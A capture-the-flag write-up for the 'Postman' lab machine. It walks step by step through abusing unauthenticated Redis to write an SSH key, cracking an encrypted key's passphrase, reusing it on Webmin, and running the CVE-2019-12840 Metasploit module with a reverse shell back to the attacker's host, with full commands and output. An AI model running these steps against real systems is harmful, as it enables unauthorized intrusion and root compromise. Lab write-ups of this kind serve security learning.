Postman
Unauthenticated Redis writes a padded SSH key into the service account's authorized_keys, giving a shell as redis. Enumeration as redis exposes Matt's encrypted SSH key; its cracked passphrase doubles as Matt's Webmin password, and the Webmin 1.910 package-updates RCE (CVE-2019-12840) lands a root shell with both flags.
Attack path
flowchart LR A["nmap 22/80/6379/10000"] --> B["unauthenticated Redis 4.0.9"] B --> C["RDB dump into authorized_keys<br/>SSH shell as redis"] C --> D["enumerate as redis<br/>user Matt, id_rsa.bak lead"] D --> E["find -readable<br/>/opt/id_rsa.bak"] E --> F["ssh2john + rockyou<br/>passphrase computer2008"] A --> G["curl + searchsploit<br/>Webmin 1.910 exploits"] F --> H["credential reuse<br/>Matt:computer2008 on Webmin"] G --> H H --> I["package-updates RCE<br/>CVE-2019-12840"] I --> J["root shell, MiniServ as root<br/>both flags"]
Recon
Step 1 — Port scan
A full TCP scan finds four services.
sudo nmap -sV -sC -T4 10.129.95.189 -p- -o nmap.txt22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (protocol 2.0)80/tcp open http Apache httpd 2.4.29 (Ubuntu)6379/tcp open redis Redis key-value store 4.0.910000/tcp open http MiniServ 1.910 (Webmin httpd)Port 80 serves a static personal site and was not pursued. Redis with no authentication and the Webmin interface on 10000 are the two leads.
Step 2 — Unauthenticated Redis
Redis accepts commands from any client; INFO server returns without an AUTH error.
redis-cli -h 10.129.95.189 INFO serverredis_version:4.0.9executable:/usr/bin/redis-serverconfig_file:/etc/redis/redis.confredis-cli -h 10.129.95.189 CONFIG GET dirredis-cli -h 10.129.95.189 INFO keyspacedir/var/lib/redisThe working directory is /var/lib/redis, the redis service user’s home directory. INFO keyspace is empty, so there are no stored credentials to read, but write access to a service user’s home is enough on its own.
Foothold
Step 3 — Write an SSH key through the RDB dump
Redis 4.0.9 allows a client to set the dump directory and file name. Storing a padded public key and saving the database to /var/lib/redis/.ssh/authorized_keys turns the Redis value into a usable authorized key file.
ssh-keygen -t rsa -b 2048 -f redis_key -N '' -q(echo -e "\n\n"; cat redis_key.pub; echo -e "\n\n") > redis_key_spacedcat redis_key_spaced | redis-cli -h 10.129.95.189 -x set sshkeyredis-cli -h 10.129.95.189 CONFIG SET dir /var/lib/redis/.sshredis-cli -h 10.129.95.189 CONFIG SET dbfilename authorized_keysredis-cli -h 10.129.95.189 SAVEssh -i redis_key redis@10.129.95.189redis@Postman:~$ iduid=107(redis) gid=114(redis)Every Redis command returns OK, and the login succeeds as redis.
SAVE writes a binary RDB file, so the stored value arrives wrapped in dump headers and binary junk. sshd skips lines it cannot parse, so the key only has to sit intact on its own lines — the \n\n padding before and after it provides that. Two constraints apply: /var/lib/redis/.ssh must already exist, because Redis cannot create directories, and a wrong dir value fails at SAVE, when the file cannot be written — not at CONFIG SET, which accepts any path.
Privilege escalation
The redis shell cannot read user.txt. The user subsection below recovers Matt’s credentials; the root subsection uses them against Webmin for a root shell.
User — credential discovery
Step 4 — Enumerate as redis
/home contains one human account.
ls /homecat /home/Matt/user.txtls -ld /home/Matt/.sshMattcat: /home/Matt/user.txt: Permission denieddrwx------ Matt Mattuser.txt is -rw-rw---- Matt Matt and Matt’s .ssh directory is closed to other users. The redis home directory holds artifacts from earlier sessions: a 92-byte header-only dump.rdb, four same-size renamed .so files plus a module.o (Redis MODULE LOAD leftovers), and a .bash_history from 2019 with repeated su Matt attempts and a reference to cat id_rsa.bak in /var/lib/redis. The history points at an SSH key backup somewhere on the box.
Step 5 — Locate Matt’s key backup
The backup is not at the location the history names (see “What didn’t work”). A readable-files search finds it: -readable keeps only files the current user can open — read permission on the file and search permission on every directory in its path — where a plain -name search returns files that then fail on access.
find / -name "id_rsa*" -readable 2>/dev/null/opt/id_rsa.bakls -la /opt/id_rsa.bak-rwxr-xr-x 1 Matt Matt 1743 /opt/id_rsa.bakThe file is world-readable and carries Proc-Type: 4,ENCRYPTED, so it is a passphrase-protected private key owned by Matt.
Step 6 — Crack the passphrase
Copy the key off the box using the foothold key from step 3, convert it to a john hash, and run rockyou against it.
scp -i redis_key redis@10.129.95.189:/opt/id_rsa.bak matt_id_rsapython3 /usr/share/john/ssh2john.py matt_id_rsa > matt.hashjohn matt.hash --wordlist=/usr/share/wordlists/rockyou.txtcomputer2008 (matt_id_rsa)The passphrase is computer2008, recovered in under a second.
Root — Webmin package-updates RCE
Step 7 — Identify the Webmin attack surface
Port 10000 from step 1 serves a Webmin login.
curl -sk https://10.129.95.189:10000/The page is a “Login to Webmin” form posting to session_login.cgi.
searchsploit webmin 1.910linux/remote/46984.rb Webmin 1.910 - Package Updates RCE (authenticated)linux/webapps/47330.rb Webmin < 1.920 - rpc.cgi RCEThe Package Updates exploit fits best: it is authenticated, and step 6 has just produced a candidate credential for the account named in step 4.
Step 8 — Credential reuse into the package-updates RCE
The passphrase from step 6 is tried as Matt’s Webmin password: an encrypted key’s passphrase is a password its owner chose on this host, and reuse across services is common, so with the username from step 4 and a login form it is the cheapest credential to test first. Webmin accepts Matt:computer2008, confirming the reuse, and the exploit turns the authenticated session into command execution.
use exploit/linux/http/webmin_packageup_rceset PAYLOAD cmd/unix/reverse_perlset RHOSTS 10.129.95.189set SSL trueset USERNAME Mattset PASSWORD computer2008set LHOST 10.10.14.33run[+] Session cookie: c10e4dc1d44eeb66bed62ab91d1ca0b8[*] Command shell session 1 opened (10.10.14.33:4444 -> 10.129.95.189:60754)
whoamirootThe shell lands as root because Webmin’s MiniServ daemon runs as root: CVE-2019-12840 injects commands through /package-updates/update.cgi, so the payload executes inside that root process. No additional privilege escalation step exists.
Step 9 — Flags
The shell from step 8 reads both flags; user.txt, denied to redis in step 4, is read from the root shell.
cat /root/root.txtcat /home/Matt/user.txt<redacted><redacted>Both root.txt and Matt’s user.txt are captured.
What didn’t work
- Direct SSH as Matt.
ssh -i matt_id_rsa Matt@10.129.95.189decrypts the key with the cracked passphrase, but the server drops the connection (Connection closed by 10.129.95.189 port 22, twice). Possible causes are a rotated authorized key, an sshd login restriction, or a locked account. Not triaged further: the Webmin path in step 8 did not need a Matt shell. - The bash_history key location. The 2019
.bash_historyrefers toid_rsa.bakin/var/lib/redis, but the file is absent there on this instance; the real backup lives in/opt(step 5). - Port 80’s static site was never examined.
Lessons learned
- Unauthenticated Redis is a file-write primitive:
CONFIG SET dirplusCONFIG SET dbfilenameplusSAVEwrites any stored value to a path the redis user can write. Targetingauthorized_keyswith newline-padded key content converts that into an SSH shell as the service user. - sshd ignores unparseable lines in
authorized_keys, which is why the RDB binary wrapper does not break the injected key. The target.sshdirectory must already exist, because Redis cannot create directories. find -readablereturns only files the current user can actually open, avoiding permission failures on-nameresults.- An encrypted SSH key is two credentials in one. Crack the passphrase with ssh2john, then try it as the account password on every other login surface — here Webmin accepted it.
MiniServruns as root, so an authenticated Webmin RCE such as CVE-2019-12840 yields a root shell directly.